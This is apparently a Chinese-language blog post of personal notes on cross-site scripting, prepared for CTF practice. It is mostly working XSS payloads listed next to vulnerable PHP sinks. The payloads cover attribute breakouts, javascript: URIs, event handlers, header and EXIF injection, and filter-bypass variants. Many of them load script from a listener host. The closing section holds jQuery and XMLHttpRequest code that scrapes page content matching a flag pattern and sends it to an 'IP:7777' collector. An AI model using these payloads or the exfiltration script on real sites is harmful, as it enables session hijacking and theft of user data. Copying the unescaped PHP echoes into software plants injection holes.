XSS 跨站脚本攻击

1.类型

反射型、DOM型、存储型

2.漏洞点

GET/POST

文本

Payload:?1='/><script src='http://127.0.0.1:7777/HWFR'></script>

<input value='<?php echo $_GET[1];?>'/>

javascript:

Payload:?1=javascript:s=document.createElement('script');s.src='http://127.0.0.1:7777/HWFR';document.head.appendChild(s);

<a href="<?php echo $_GET[1];?>">href</a>

事件

Payload:?1="onerror="s=createElement('script');s.src='http://127.0.0.1:7777/HWFR';head.appendChild(s);

<img src="<?php echo $_GET[1];?>"/>

Payload:?1='onerror='s=createElement("script");s.src="http://127.0.0.1:7777/HWFR";head.appendChild(s);

<?php
echo "<img src='".$_GET[1]."'/>";

hidden

Payload:?1="type="text" onmouseover="s=createElement('script');s.src='http://127.0.0.1:7777/HWFR';head.appendChild(s);

<input value="<?php echo $_GET[1];?>" type="hidden"/>

form action

Payload:index.php/"><script src='http://127.0.0.1:7777/HWFR'></script>

<form action="<?php echo $_SERVER["PHP_SELF"];?>">
</form>

JS

Payload:?1=s=document.createElement('script');s.src='http://127.0.0.1:7777/HWFR';document.head.appendChild(s);

<body>
</body>
<img src=1 id="id"/>
<script><?php echo $_GET[1];?></script>

解释

s=document.createElement('script'); // 创建script元素
s.src='http://127.0.0.1:7777/HWFR'; // 设置src
document.head.appendChild(s); // 将该元素作为最后一个子元素添加到父元素
/*
head 没有限制,用 body 那么 JS 要在 body 后面
用其他元素,也要在元素后面:document.getElementById('id').appendChild(s);
*/

ng-include

Payload:?1='xss.php'

xss.php 存在 XSS,并且存在的方式不能是在 script 标签内,要存在于HTML元素中

<html ng-app>
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
<span class="ng-include:<?php echo $_GET[1];?>"></span>

X-Forwarded-For、UA、Referer、Cookie 等请求头

Payload:

X-Forwarded-For: <script src='http://127.0.0.1:7777/HWFR'></script>
User-Agent: <script src='http://127.0.0.1:7777/HWFR'></script>
Referer: <script src='http://127.0.0.1:7777/HWFR'></script>
Cookie: user=<script src='http://127.0.0.1:7777/HWFR'></script>
<?php
setcookie('user', 'guest', time()+3600);

echo $_SERVER['HTTP_X_FORWARDED_FOR'];
echo $_SERVER['HTTP_USER_AGENT'];
echo $_SERVER['HTTP_REFERER'];
echo $_COOKIE['user'];

Exif XSS(图片属性详细信息)

Payload:

<?php
// php.ini 配置 extension=php_exif.dll
$exif = exif_read_data('xss.jpg');

echo $exif['ImageDescription']; // 标题
echo $exif['Artist']; // 作者
echo $exif['Make']; // 相机制造商

3.绕过

字符串

关键字

大小写(JS函数名大小写敏感)、双写、javascript:用实体编码(t的unicode为\u0074再转为&#x74)

省略http:、省略/>、省略</x>

<iframe src="data:text/html;base64,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="></iframe>

<object data="data:text/html;base64,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="><object>

空白字符

%20(空格)、%0a(换行)、%09(水平tab)、%0c(新一页)、%0d(回车)、/**/

<script【空白字符 或 /+任意字符】></script【空白字符 或 /+任意字符】>

<标签名【空白字符 或 /+任意字符+/】属性=""【空白字符 或 /+任意字符】></标签名【空白字符 或 /+任意字符】>

href【空白字符】=【空白字符】【" 或 空白字符】【空白字符】javascript【空白字符】:【空白字符】alert(1)【 " 或 空白字符】【空白字符】

内容要求

href要求有http(s)://

javascript:alert(1)//http(s)://
javascript:http://%0dalert(1)

标签

a、img、input

<iframe src="javascript:alert(1)"></iframe>
<body onload="alert(1)"></body>
<svg onload="javascript:alert(1)"></svg>
<video src=1 onerror="alert(1)"></video>
<audio src=1 onerror="alert(1)"></audio>
<audio><source onerror="javascript:alert(1)"></audio>
<video><source onerror="javascript:alert(1)"></video>
<select autofocus onfocus="javascript:alert(1)"></select>
<textarea autofocus onfocus="javascript:alert(1)"></textarea>
<form action= "javascript:alert(1)">一些元素点击触发</from>
<form><input type= "image" formaction="javascript:alert('点击')">
<form><input type= "submit" formaction="javascript:alert('点击')">

事件

onload:页面或图加载完执行

onerror:文档或图加载错误执行

onclick:点击元素执行

onchange:元素值改变(输入框、选择等)

onmouseover:鼠标移动到元素上执行

onmouseout:鼠标从元素移开执行

onkeydown:按下键盘执行

HttpOnly

没有同源策略的话可以CSRF(WebView可能没有)

4.利用方式

XSS平台

CSRF

遍历class元素

目标:

<div class="class_name">123</div>
<div class="class_name">ctfshow{xxx}</div>

注入:

<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"> //引入jquery</script>
<script>
$('.class_name').each( // jQuery的each方法
    function(index,value){ // index表示元素下标、value表示元素本身
        if(value.innerHTML.indexOf('ctf'+'show{')>-1){ // 取元素的html内容,如果存在ctfshow{第一次出现的位置
            $.ajax({url: "http://IP:7777/?"+value.innerHTML}); // jQuery的ajax方法
        }
    }
);
</script>

<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"> //引入jquery</script>
<script>
$('.class_name').each( // jQuery的each方法
    function(index,value){ // index表示元素下标、value表示元素本身
        if(value.innerHTML.indexOf('ctf'+'show{')>-1){ // 取元素的html内容,如果存在ctfshow{第一次出现的位置
            if (window.XMLHttpRequest) { // IE7+、Firefox、Chrome、Opera、Safari
                xmlhttp=new XMLHttpRequest();
            }
            else { //IE6、IE5
                xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
            }
            xmlhttp.open("GET","http://IP:7777/?"+value.innerHTML,true);
            xmlhttp.send();
        }
    }
);
</script>
posted @ 2023-04-17 17:40  Hacker&Cat  阅读(73)  评论(0编辑  收藏  举报